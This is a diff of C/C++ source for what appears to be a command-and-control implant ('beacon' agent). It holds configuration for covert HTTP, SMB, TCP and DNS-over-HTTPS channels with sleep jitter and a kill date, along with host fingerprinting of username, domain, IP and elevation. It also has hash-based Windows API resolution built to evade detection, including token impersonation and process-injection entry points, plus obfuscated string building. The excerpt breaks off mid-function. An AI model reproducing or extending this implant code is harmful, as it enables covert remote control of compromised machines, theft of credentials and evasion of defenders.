||||
#define DNS_MODE_UDP 0
|
||||
#define DNS_MODE_DOH 1
|
||||
#define DNS_MODE_UDP_FALLBACK 2
|
||||
#define DNS_MODE_DOH_FALLBACK 3
|
||||
|
||||
typedef struct {
|
||||
BYTE* domain;
|
||||
BYTE* resolvers;
|
||||
BYTE* doh_resolvers;
|
||||
BYTE* qtype;
|
||||
ULONG pkt_size;
|
||||
ULONG label_size;
|
||||
ULONG ttl;
|
||||
BYTE* encrypt_key;
|
||||
ULONG burst_enabled;
|
||||
ULONG burst_sleep;
|
||||
ULONG burst_jitter;
|
||||
ULONG dns_mode;
|
||||
BYTE* user_agent;
|
||||
} ProfileDNS;
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
class AgentConfig
|
||||
{
|
||||
public:
|
||||
ULONG agent_type;
|
||||
ULONG listener_type;
|
||||
BYTE* encrypt_key;
|
||||
ULONG sleep_delay;
|
||||
ULONG jitter_delay;
|
||||
ULONG kill_date;
|
||||
ULONG working_time;
|
||||
|
||||
BYTE exit_method;
|
||||
ULONG exit_task_id;
|
||||
ULONG download_chunk_size;
|
||||
|
||||
#if defined(BEACON_HTTP)
|
||||
ProfileHTTP profile;
|
||||
|
||||
#elif defined(BEACON_SMB)
|
||||
ProfileSMB profile;
|
||||
|
||||
#elif defined(BEACON_TCP)
|
||||
ProfileTCP profile;
|
||||
|
||||
#elif defined(BEACON_DNS)
|
||||
ProfileDNS profile;
|
||||
|
||||
#endif
|
||||
|
||||
AgentConfig();
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,46 @@
|
||||
#include "ApiLoader.h"
|
||||
#include "AgentInfo.h"
|
||||
#include "utils.h"
|
||||
|
||||
void* AgentInfo::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void AgentInfo::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(AgentInfo));
|
||||
}
|
||||
|
||||
AgentInfo::AgentInfo()
|
||||
{
|
||||
SYSTEM_PROCESSOR_INFORMATION SystemInfo = { 0 };
|
||||
OSVERSIONINFOEXW OSVersion = { 0 };
|
||||
OSVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);
|
||||
|
||||
ApiNt->NtQuerySystemInformation(SystemProcessorInformation, &SystemInfo, sizeof(SYSTEM_PROCESSOR_INFORMATION), 0);
|
||||
ApiNt->RtlGetVersion((PRTL_OSVERSIONINFOW) &OSVersion);
|
||||
|
||||
BOOL isWow64 = FALSE;
|
||||
ApiWin->IsWow64Process((HANDLE)-1, &isWow64);
|
||||
|
||||
this->agent_id = GenerateRandom32();
|
||||
this->acp = ApiWin->GetACP();
|
||||
this->oemcp = ApiWin->GetOEMCP();
|
||||
this->gmt_offest = GetGmtOffset();
|
||||
this->pid = (WORD)(ULONG_PTR) NtCurrentTeb()->ClientId.UniqueProcess;
|
||||
this->tid = (WORD)(ULONG_PTR) NtCurrentTeb()->ClientId.UniqueThread;
|
||||
this->elevated = IsElevate();
|
||||
this->arch64 = (sizeof(void*) != 4);
|
||||
this->sys64 = this->arch64 || isWow64;
|
||||
this->build_number = OSVersion.dwBuildNumber;
|
||||
this->major_version = OSVersion.dwMajorVersion;
|
||||
this->minor_version = OSVersion.dwMinorVersion;
|
||||
this->is_server = OSVersion.wProductType != VER_NT_WORKSTATION;
|
||||
this->internal_ip = GetInternalIpLong();
|
||||
this->username = _GetUserName();
|
||||
this->domain_name = _GetDomainName();
|
||||
this->computer_name = _GetHostName();
|
||||
this->process_name = _GetProcessName();
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
class AgentInfo
|
||||
{
|
||||
public:
|
||||
DWORD agent_id;
|
||||
WORD acp;
|
||||
WORD oemcp;
|
||||
BYTE gmt_offest;
|
||||
WORD pid;
|
||||
WORD tid;
|
||||
BOOL arch64;
|
||||
BOOL sys64;
|
||||
BOOL elevated;
|
||||
BOOL is_server;
|
||||
WORD major_version;
|
||||
WORD minor_version;
|
||||
WORD build_number;
|
||||
ULONG internal_ip;
|
||||
CHAR* process_name;
|
||||
CHAR* domain_name;
|
||||
CHAR* computer_name;
|
||||
CHAR* username;
|
||||
|
||||
AgentInfo();
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,198 @@
|
||||
#pragma once
|
||||
|
||||
#define HASH_LIB_NTDLL 0x19a59ec
|
||||
#define HASH_LIB_KERNEL32 0x7b348614
|
||||
#define HASH_LIB_IPHLPAPI 0x2d288345
|
||||
#define HASH_LIB_ADVAPI32 0x721421e8
|
||||
#define HASH_LIB_MSVCRT 0xb707534d
|
||||
|
||||
|
||||
//ntdll
|
||||
#define HASH_FUNC_NTCLOSE 0xed9853bc
|
||||
#define HASH_FUNC_NTCONTINUE 0x3932454b
|
||||
#define HASH_FUNC_NTFREEVIRTUALMEMORY 0x6130e328
|
||||
#define HASH_FUNC_NTQUERYINFORMATIONPROCESS 0x68b3d2e1
|
||||
#define HASH_FUNC_NTQUERYSYSTEMINFORMATION 0x91ef8a47
|
||||
#define HASH_FUNC_NTOPENPROCESS 0xf029bc37
|
||||
#define HASH_FUNC_NTOPENPROCESSTOKEN 0x845cc3b8
|
||||
#define HASH_FUNC_NTOPENTHREADTOKEN 0xf6f79cf1
|
||||
#define HASH_FUNC_NTTERMINATETHREAD 0x43b9dd27
|
||||
#define HASH_FUNC_NTTERMINATEPROCESS 0x9e28d66e
|
||||
#define HASH_FUNC_RTLGETVERSION 0xb28521fc
|
||||
#define HASH_FUNC_RTLEXITUSERTHREAD 0xa6320b07
|
||||
#define HASH_FUNC_RTLEXITUSERPROCESS 0x4fa6c04e
|
||||
#define HASH_FUNC_RTLIPV4STRINGTOADDRESSA 0x87cc3a9a
|
||||
#define HASH_FUNC_RTLRANDOMEX 0x5b052214
|
||||
#define HASH_FUNC_RTLNTSTATUSTODOSERROR 0x7701adaf
|
||||
#define HASH_FUNC_NTFLUSHINSTRUCTIONCACHE 0x91a1659e
|
||||
|
||||
//kernel32
|
||||
#define HASH_FUNC_CONNECTNAMEDPIPE 0xda6c7d81
|
||||
#define HASH_FUNC_COPYFILEA 0x1cba2820
|
||||
#define HASH_FUNC_CREATEDIRECTORYA 0x4e15ef6e
|
||||
#define HASH_FUNC_CREATEEVENTA 0xd106499b
|
||||
#define HASH_FUNC_CREATEFILEA 0x44701e19
|
||||
#define HASH_FUNC_CREATENAMEDPIPEA 0x375c5b8c
|
||||
#define HASH_FUNC_CREATEPIPE 0xd38cc306
|
||||
#define HASH_FUNC_CREATEPROCESSA 0x352ef9d8
|
||||
#define HASH_FUNC_CREATETHREAD 0xf30d4c30
|
||||
#define HASH_FUNC_DELETECRITICALSECTION 0x21d8fe57
|
||||
#define HASH_FUNC_DELETEFILEA 0x75b1df38
|
||||
#define HASH_FUNC_DISCONNECTNAMEDPIPE 0x6d59f261
|
||||
#define HASH_FUNC_ENTERCRITICALSECTION 0x5b6e9a42
|
||||
#define HASH_FUNC_FINDCLOSE 0x257f195b
|
||||
#define HASH_FUNC_FINDFIRSTFILEA 0x2ffa9aae
|
||||
#define HASH_FUNC_FINDNEXTFILEA 0xdacd2845
|
||||
#define HASH_FUNC_FREELIBRARY 0x26ccae3b
|
||||
#define HASH_FUNC_FLUSHFILEBUFFERS 0xd60d6813
|
||||
#define HASH_FUNC_GETACP 0xa8455a98
|
||||
#define HASH_FUNC_GETCOMPUTERNAMEEXA 0x3bc15572
|
||||
#define HASH_FUNC_GETCURRENTDIRECTORYA 0x9c466afd
|
||||
#define HASH_FUNC_GETDRIVETYPEA 0x4d986681
|
||||
#define HASH_FUNC_GETEXITCODEPROCESS 0xf714f658
|
||||
#define HASH_FUNC_GETEXITCODETHREAD 0xca4ca7d1
|
||||
#define HASH_FUNC_GETFILESIZE 0x5774353f
|
||||
#define HASH_FUNC_GETFILEATTRIBUTESA 0x4259a42c
|
||||
#define HASH_FUNC_GETFULLPATHNAMEA 0x3da055a6
|
||||
#define HASH_FUNC_GETLASTERROR 0xdbb35ee2
|
||||
#define HASH_FUNC_GETLOGICALDRIVES 0xf20bc68c
|
||||
#define HASH_FUNC_GETOEMCP 0xd004d0d8
|
||||
#define HASH_FUNC_K32GETMODULEBASENAMEA 0x9a48e677
|
||||
#define HASH_FUNC_GETMODULEBASENAMEA 0x56879f07
|
||||
#define HASH_FUNC_GETMODULEHANDLEA 0x700712f7
|
||||
#define HASH_FUNC_GETPROCADDRESS 0x184f2ade
|
||||
#define HASH_FUNC_GETLOCALTIME 0xcbd6d0de
|
||||
#define HASH_FUNC_GETSYSTEMTIMEASFILETIME 0xa94c633b
|
||||
#define HASH_FUNC_GETTICKCOUNT 0xfcdd8ab8
|
||||
#define HASH_FUNC_GETTIMEZONEINFORMATION 0xac7885f5
|
||||
#define HASH_FUNC_GETUSERNAMEA 0x56f41f65
|
||||
#define HASH_FUNC_HEAPALLOC 0x90953b4d
|
||||
#define HASH_FUNC_HEAPCREATE 0xa84f7996
|
||||
#define HASH_FUNC_HEAPDESTROY 0xe1ed946c
|
||||
#define HASH_FUNC_HEAPREALLOC 0x1652b144
|
||||
#define HASH_FUNC_HEAPFREE 0x90075c24
|
||||
#define HASH_FUNC_INITIALIZECRITICALSECTION 0x8965be16
|
||||
#define HASH_FUNC_ISWOW64PROCESS 0x5bf9b926
|
||||
#define HASH_FUNC_LOADLIBRARYA 0x1159d0fa
|
||||
#define HASH_FUNC_LOCALALLOC 0xaeff147a
|
||||
#define HASH_FUNC_LOCALFREE 0x14d443b1
|
||||
#define HASH_FUNC_LOCALREALLOC 0x769789b1
|
||||
#define HASH_FUNC_LEAVECRITICALSECTION 0x2ef3d3d1
|
||||
#define HASH_FUNC_MOVEFILEA 0x48ccd21c
|
||||
#define HASH_FUNC_MULTIBYTETOWIDECHAR 0xdcf711ed
|
||||
#define HASH_FUNC_PEEKNAMEDPIPE 0x79d7f37c
|
||||
#define HASH_FUNC_READFILE 0xc9c06180
|
||||
#define HASH_FUNC_REMOVEDIRECTORYA 0x4dada1a8
|
||||
#define HASH_FUNC_RTLCAPTURECONTEXT 0x626d2e2f
|
||||
#define HASH_FUNC_SETCURRENTDIRECTORYA 0x2e1c9789
|
||||
#define HASH_FUNC_SETEVENT 0xe26f0832
|
||||
#define HASH_FUNC_TRYENTERCRITICALSECTION 0x5181e9e1
|
||||
#define HASH_FUNC_RESETEVENT 0x455f5749
|
||||
#define HASH_FUNC_SETNAMEDPIPEHANDLESTATE 0x89e25d30
|
||||
#define HASH_FUNC_SLEEP 0x5b4b729d
|
||||
#define HASH_FUNC_VIRTUALALLOC 0x63ce6376
|
||||
#define HASH_FUNC_VIRTUALFREE 0xbd37a32d
|
||||
#define HASH_FUNC_WAITFORSINGLEOBJECT 0x471fd0f9
|
||||
#define HASH_FUNC_WAITNAMEDPIPEA 0x8a2ba58d
|
||||
#define HASH_FUNC_WIDECHARTOMULTIBYTE 0x12d4f52d
|
||||
#define HASH_FUNC_WRITEFILE 0xd4a33cef
|
||||
|
||||
// iphlpapi
|
||||
#define HASH_FUNC_GETADAPTERSINFO 0xa1376764
|
||||
|
||||
// advapi32
|
||||
#define HASH_FUNC_ALLOCATEANDINITIALIZESID 0xbf449b6e
|
||||
#define HASH_FUNC_GETTOKENINFORMATION 0x49639a4b
|
||||
#define HASH_FUNC_INITIALIZESECURITYDESCRIPTOR 0x529256ed
|
||||
#define HASH_FUNC_IMPERSONATELOGGEDONUSER 0x77243019
|
||||
#define HASH_FUNC_FREESID 0x813c8686
|
||||
#define HASH_FUNC_LOOKUPACCOUNTSIDA 0x4be434ac
|
||||
#define HASH_FUNC_REVERTTOSELF 0xcce516a9
|
||||
#define HASH_FUNC_SETTHREADTOKEN 0x373ff89
|
||||
#define HASH_FUNC_SETENTRIESINACLA 0xa4379492
|
||||
#define HASH_FUNC_SETSECURITYDESCRIPTORDACL 0x37dc047b
|
||||
#define HASH_FUNC_DUPLICATETOKENEX 0xa7ab369d
|
||||
#define HASH_FUNC_CREATEPROCESSASUSERA 0x4cb03b6b
|
||||
#define HASH_FUNC_CREATEPROCESSWITHTOKENW 0x231cf52b
|
||||
|
||||
// msvcrt
|
||||
#if defined(DEBUG)
|
||||
#define HASH_FUNC_PRINTF 0xbe293817
|
||||
#endif
|
||||
#define HASH_FUNC_VSNPRINTF 0xc4e4280e
|
||||
#define HASH_FUNC__SNPRINTF 0x4db600f7
|
||||
|
||||
// BOF
|
||||
#define HASH_FUNC_BEACONDATAPARSE 0x3a3f9b41
|
||||
#define HASH_FUNC_BEACONDATAINT 0xa3aad9b1
|
||||
#define HASH_FUNC_BEACONDATASHORT 0x3a79ae96
|
||||
#define HASH_FUNC_BEACONDATALENGTH 0x792460a8
|
||||
#define HASH_FUNC_BEACONDATAEXTRACT 0xaf9d1a81
|
||||
#define HASH_FUNC_BEACONFORMATALLOC 0xde6f0c40
|
||||
#define HASH_FUNC_BEACONFORMATRESET 0xdf9ef2b8
|
||||
#define HASH_FUNC_BEACONFORMATAPPEND 0xac9aff0d
|
||||
#define HASH_FUNC_BEACONFORMATPRINTF 0xcfb8e1e8
|
||||
#define HASH_FUNC_BEACONFORMATTOSTRING 0x8350c50f
|
||||
#define HASH_FUNC_BEACONFORMATFREE 0x8aa15ab7
|
||||
#define HASH_FUNC_BEACONFORMATINT 0x8fd66460
|
||||
#define HASH_FUNC_BEACONOUTPUT 0xe1f90ffd
|
||||
#define HASH_FUNC_BEACONPRINTF 0xe411de3f
|
||||
#define HASH_FUNC_BEACONUSETOKEN 0x115b247a
|
||||
#define HASH_FUNC_BEACONREVERTTOKEN 0x84387705
|
||||
#define HASH_FUNC_BEACONISADMIN 0x4d34c8b1
|
||||
#define HASH_FUNC_BEACONGETSPAWNTO 0xc9df6b58
|
||||
#define HASH_FUNC_BEACONINJECTPROCESS 0x2223da28
|
||||
#define HASH_FUNC_BEACONINJECTTEMPORARYPROCESS 0xb7acd3ab
|
||||
#define HASH_FUNC_BEACONSPAWNTEMPORARYPROCESS 0x3a613e77
|
||||
#define HASH_FUNC_BEACONCLEANUPPROCESS 0x68ff8a73
|
||||
#define HASH_FUNC_TOWIDECHAR 0x99e43fee
|
||||
#define HASH_FUNC_BEACONINFORMATION 0xd9773b52
|
||||
#define HASH_FUNC_BEACONADDVALUE 0x175454f2
|
||||
#define HASH_FUNC_BEACONGETVALUE 0x132c1909
|
||||
#define HASH_FUNC_BEACONREMOVEVALUE 0xb772ea57
|
||||
#define HASH_FUNC_LOADLIBRARYA 0x1159d0fa
|
||||
#define HASH_FUNC_GETPROCADDRESS 0x184f2ade
|
||||
#define HASH_FUNC_GETMODULEHANDLEA 0x700712f7
|
||||
#define HASH_FUNC_FREELIBRARY 0x26ccae3b
|
||||
#define HASH_FUNC___C_SPECIFIC_HANDLER 0x6d7af307
|
||||
#define HASH_FUNC_AXADDSCREENSHOT 0x495c25a4
|
||||
#define HASH_FUNC_AXDOWNLOADMEMORY 0x5c8fc8ce
|
||||
// Async BOF
|
||||
#define HASH_FUNC_BEACONREGISTERTHREADCALLBACK 0x6db87516
|
||||
#define HASH_FUNC_BEACONUNREGISTERTHREADCALLBACK 0x816703d9
|
||||
#define HASH_FUNC_BEACONWAKEUP 0xf3334cb9
|
||||
#define HASH_FUNC_BEACONGETSTOPJOBEVENT 0x0848788f
|
||||
|
||||
// wininet
|
||||
#define HASH_FUNC_INTERNETOPENA 0x4c383c80
|
||||
#define HASH_FUNC_INTERNETCONNECTA 0x575708d8
|
||||
#define HASH_FUNC_HTTPOPENREQUESTA 0x226c0d80
|
||||
#define HASH_FUNC_HTTPSENDREQUESTA 0xc2c06958
|
||||
#define HASH_FUNC_INTERNETSETOPTIONA 0x2e652253
|
||||
#define HASH_FUNC_INTERNETQUERYOPTIONA 0x4f0bddbd
|
||||
#define HASH_FUNC_HTTPQUERYINFOA 0xd7775c67
|
||||
#define HASH_FUNC_INTERNETQUERYDATAAVAILABLE 0x9ed7669e
|
||||
#define HASH_FUNC_INTERNETCLOSEHANDLE 0xc0d1320f
|
||||
#define HASH_FUNC_INTERNETREADFILE 0xe64c229
|
||||
|
||||
// ws2_32
|
||||
#define HASH_FUNC_WSASTARTUP 0x512662e2
|
||||
#define HASH_FUNC_WSACLEANUP 0x6f1847d7
|
||||
#define HASH_FUNC_SOCKET 0xc4ef0f8d
|
||||
#define HASH_FUNC_GETHOSTBYNAME 0x9a3fe8fe
|
||||
#define HASH_FUNC_IOCTLSOCKET 0xb1dc75c8
|
||||
#define HASH_FUNC_CONNECT 0x93f5e60e
|
||||
#define HASH_FUNC_SETSOCKOPT 0x5f873653
|
||||
#define HASH_FUNC_GETSOCKOPT 0x2f0868c7
|
||||
#define HASH_FUNC_WSAGETLASTERROR 0x58a1e4d
|
||||
#define HASH_FUNC_CLOSESOCKET 0xf44c50c3
|
||||
#define HASH_FUNC_SELECT 0xc43ef024
|
||||
#define HASH_FUNC___WSAFDISSET 0x61b4503f
|
||||
#define HASH_FUNC_SHUTDOWN 0xccb8a380
|
||||
#define HASH_FUNC_RECV 0x6f5eb634
|
||||
#define HASH_FUNC_SEND 0x6f5f43ee
|
||||
#define HASH_FUNC_ACCEPT 0x9a18f614
|
||||
#define HASH_FUNC_BIND 0x6f560281
|
||||
#define HASH_FUNC_LISTEN 0xb4374c73
|
||||
#define HASH_FUNC_RECVFROM 0xcfb09288
|
||||
#define HASH_FUNC_SENDTO 0xc44006d1
|
||||
@@ -0,0 +1,291 @@
|
||||
#include "ApiLoader.h"
|
||||
#include "ProcLoader.h"
|
||||
|
||||
#pragma intrinsic(memset)
|
||||
#pragma function(memset)
|
||||
void* __cdecl memset(void* Destination, int Value, size_t Size)
|
||||
{
|
||||
unsigned char* p = (unsigned char*)Destination;
|
||||
unsigned char val = (unsigned char)Value;
|
||||
|
||||
// Word-aligned fill for larger blocks
|
||||
if (Size >= sizeof(size_t)) {
|
||||
size_t pattern = val;
|
||||
for (size_t i = 1; i < sizeof(size_t); i++)
|
||||
pattern |= (pattern << 8);
|
||||
|
||||
while (((size_t)p & (sizeof(size_t) - 1)) && Size) {
|
||||
*p++ = val;
|
||||
Size--;
|
||||
}
|
||||
while (Size >= sizeof(size_t)) {
|
||||
*(size_t*)p = pattern;
|
||||
p += sizeof(size_t);
|
||||
Size -= sizeof(size_t);
|
||||
}
|
||||
}
|
||||
while (Size--)
|
||||
*p++ = val;
|
||||
|
||||
return Destination;
|
||||
}
|
||||
|
||||
#pragma intrinsic(memcpy)
|
||||
#pragma function(memcpy)
|
||||
void* __cdecl memcpy(void* Dst, const void* Src, size_t Size)
|
||||
{
|
||||
unsigned char* d = (unsigned char*)Dst;
|
||||
const unsigned char* s = (const unsigned char*)Src;
|
||||
|
||||
// Word-aligned copy for larger blocks
|
||||
if (Size >= sizeof(size_t) && (((size_t)d | (size_t)s) & (sizeof(size_t) - 1)) == 0) {
|
||||
while (Size >= sizeof(size_t)) {
|
||||
*(size_t*)d = *(const size_t*)s;
|
||||
d += sizeof(size_t);
|
||||
s += sizeof(size_t);
|
||||
Size -= sizeof(size_t);
|
||||
}
|
||||
}
|
||||
while (Size--)
|
||||
*d++ = *s++;
|
||||
|
||||
return Dst;
|
||||
}
|
||||
|
||||
CHAR HdChrA(CHAR c) { return c; }
|
||||
WCHAR HdChrW(WCHAR c) { return c; }
|
||||
|
||||
SYSMODULES* SysModules = NULL;
|
||||
WINAPIFUNC* ApiWin = NULL;
|
||||
NTAPIFUNC* ApiNt = NULL;
|
||||
|
||||
BOOL ApiLoad()
|
||||
{
|
||||
HMODULE hKernel32Module = GetModuleAddress(HASH_LIB_KERNEL32);
|
||||
|
||||
decltype(LocalAlloc)* allocProc = (decltype(LocalAlloc)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LOCALALLOC);
|
||||
|
||||
SysModules = (SYSMODULES*) allocProc(LPTR, sizeof(SYSMODULES));
|
||||
ApiWin = (WINAPIFUNC*) allocProc(LPTR, sizeof(WINAPIFUNC));
|
||||
ApiNt = (NTAPIFUNC*) allocProc(LPTR, sizeof(NTAPIFUNC));
|
||||
|
||||
SysModules->Kernel32 = hKernel32Module;
|
||||
|
||||
if ( ApiWin && hKernel32Module) {
|
||||
// kernel32
|
||||
ApiWin->LoadLibraryA = (decltype(LoadLibraryA)*)GetSymbolAddress(hKernel32Module, HASH_FUNC_LOADLIBRARYA);
|
||||
|
||||
ApiWin->CopyFileA = (decltype(CopyFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_COPYFILEA);
|
||||
ApiWin->CreateDirectoryA = (decltype(CreateDirectoryA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATEDIRECTORYA);
|
||||
ApiWin->CreateFileA = (decltype(CreateFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATEFILEA);
|
||||
ApiWin->CreateNamedPipeA = (decltype(CreateNamedPipeA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATENAMEDPIPEA);
|
||||
ApiWin->CreatePipe = (decltype(CreatePipe)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATEPIPE);
|
||||
ApiWin->CreateProcessA = &CreateProcessA;
|
||||
ApiWin->CreateEventA = (decltype(CreateEventA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATEEVENTA);
|
||||
ApiWin->CreateThread = &CreateThread;
|
||||
ApiWin->DisconnectNamedPipe = (decltype(DisconnectNamedPipe)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_DISCONNECTNAMEDPIPE);
|
||||
ApiWin->DeleteCriticalSection = (decltype(DeleteCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_DELETECRITICALSECTION);
|
||||
ApiWin->DeleteFileA = (decltype(DeleteFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_DELETEFILEA);
|
||||
ApiWin->EnterCriticalSection = (decltype(EnterCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_ENTERCRITICALSECTION);
|
||||
ApiWin->TryEnterCriticalSection = (decltype(TryEnterCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_TRYENTERCRITICALSECTION);
|
||||
ApiWin->GetExitCodeProcess = (decltype(GetExitCodeProcess)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETEXITCODEPROCESS);
|
||||
ApiWin->GetExitCodeThread = (decltype(GetExitCodeThread)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETEXITCODETHREAD);
|
||||
ApiWin->FindClose = (decltype(FindClose)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_FINDCLOSE);
|
||||
ApiWin->FindFirstFileA = (decltype(FindFirstFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_FINDFIRSTFILEA);
|
||||
ApiWin->FindNextFileA = (decltype(FindNextFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_FINDNEXTFILEA);
|
||||
ApiWin->FreeLibrary = (decltype(FreeLibrary)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_FREELIBRARY);
|
||||
ApiWin->GetACP = (decltype(GetACP)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETACP);
|
||||
ApiWin->GetComputerNameExA = (decltype(GetComputerNameExA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETCOMPUTERNAMEEXA);
|
||||
ApiWin->GetCurrentDirectoryA = (decltype(GetCurrentDirectoryA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETCURRENTDIRECTORYA);
|
||||
ApiWin->GetDriveTypeA = (decltype(GetDriveTypeA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETDRIVETYPEA);
|
||||
ApiWin->GetFileSize = (decltype(GetFileSize)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETFILESIZE);
|
||||
ApiWin->GetFileAttributesA = (decltype(GetFileAttributesA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETFILEATTRIBUTESA);
|
||||
ApiWin->GetFullPathNameA = (decltype(GetFullPathNameA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETFULLPATHNAMEA);
|
||||
ApiWin->GetLastError = (decltype(GetLastError)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETLASTERROR);
|
||||
ApiWin->GetLogicalDrives = (decltype(GetLogicalDrives)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETLOGICALDRIVES);
|
||||
ApiWin->GetOEMCP = (decltype(GetOEMCP)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETOEMCP);
|
||||
ApiWin->GetModuleBaseNameA = (decltype(GetModuleBaseNameA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_K32GETMODULEBASENAMEA);
|
||||
ApiWin->GetModuleHandleA = (decltype(GetModuleHandleA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETMODULEHANDLEA);
|
||||
ApiWin->GetLocalTime = (decltype(GetLocalTime)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETLOCALTIME);
|
||||
ApiWin->GetSystemTimeAsFileTime = (decltype(GetSystemTimeAsFileTime)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETSYSTEMTIMEASFILETIME);
|
||||
ApiWin->GetProcAddress = &GetProcAddress;
|
||||
ApiWin->GetTickCount = (decltype(GetTickCount)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETTICKCOUNT);
|
||||
ApiWin->GetTimeZoneInformation = (decltype(GetTimeZoneInformation)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETTIMEZONEINFORMATION);
|
||||
ApiWin->HeapAlloc = (decltype(HeapAlloc)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPALLOC);
|
||||
ApiWin->HeapCreate = (decltype(HeapCreate)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPCREATE);
|
||||
ApiWin->HeapDestroy = (decltype(HeapDestroy)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPDESTROY);
|
||||
ApiWin->HeapReAlloc = (decltype(HeapReAlloc)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPREALLOC);
|
||||
ApiWin->HeapFree = (decltype(HeapFree)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPFREE);
|
||||
ApiWin->InitializeCriticalSection = (decltype(InitializeCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_INITIALIZECRITICALSECTION);
|
||||
ApiWin->IsWow64Process = (decltype(IsWow64Process)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_ISWOW64PROCESS);
|
||||
ApiWin->LocalAlloc = allocProc;
|
||||
ApiWin->LocalFree = (decltype(LocalFree)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LOCALFREE);
|
||||
ApiWin->LocalReAlloc = (decltype(LocalReAlloc)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LOCALREALLOC);
|
||||
ApiWin->LeaveCriticalSection = (decltype(LeaveCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LEAVECRITICALSECTION);
|
||||
ApiWin->MoveFileA = (decltype(MoveFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_MOVEFILEA);
|
||||
ApiWin->MultiByteToWideChar = (decltype(MultiByteToWideChar)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_MULTIBYTETOWIDECHAR);
|
||||
ApiWin->PeekNamedPipe = (decltype(PeekNamedPipe)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_PEEKNAMEDPIPE);
|
||||
ApiWin->ReadFile = (decltype(ReadFile)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_READFILE);
|
||||
ApiWin->RemoveDirectoryA = (decltype(RemoveDirectoryA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_REMOVEDIRECTORYA);
|
||||
ApiWin->RtlCaptureContext = (decltype(RtlCaptureContext)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_RTLCAPTURECONTEXT);
|
||||
ApiWin->SetEvent = (decltype(SetEvent)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_SETEVENT);
|
||||
ApiWin->ResetEvent = (decltype(ResetEvent)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_RESETEVENT);
|
||||
ApiWin->SetCurrentDirectoryA = (decltype(SetCurrentDirectoryA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_SETCURRENTDIRECTORYA);
|
||||
ApiWin->SetNamedPipeHandleState = (decltype(SetNamedPipeHandleState)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_SETNAMEDPIPEHANDLESTATE);
|
||||
ApiWin->Sleep = &Sleep;
|
||||
ApiWin->VirtualAlloc = &VirtualAlloc;
|
||||
ApiWin->VirtualFree = &VirtualFree;
|
||||
ApiWin->WaitForSingleObject = &WaitForSingleObject;
|
||||
ApiWin->WaitNamedPipeA = (decltype(WaitNamedPipeA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WAITNAMEDPIPEA);
|
||||
ApiWin->WideCharToMultiByte = (decltype(WideCharToMultiByte)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WIDECHARTOMULTIBYTE);
|
||||
ApiWin->WriteFile = (decltype(WriteFile)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WRITEFILE);
|
||||
|
||||
// iphlpapi
|
||||
CHAR iphlpapi_c[13];
|
||||
iphlpapi_c[0] = HdChrA('I');
|
||||
iphlpapi_c[1] = HdChrA('p');
|
||||
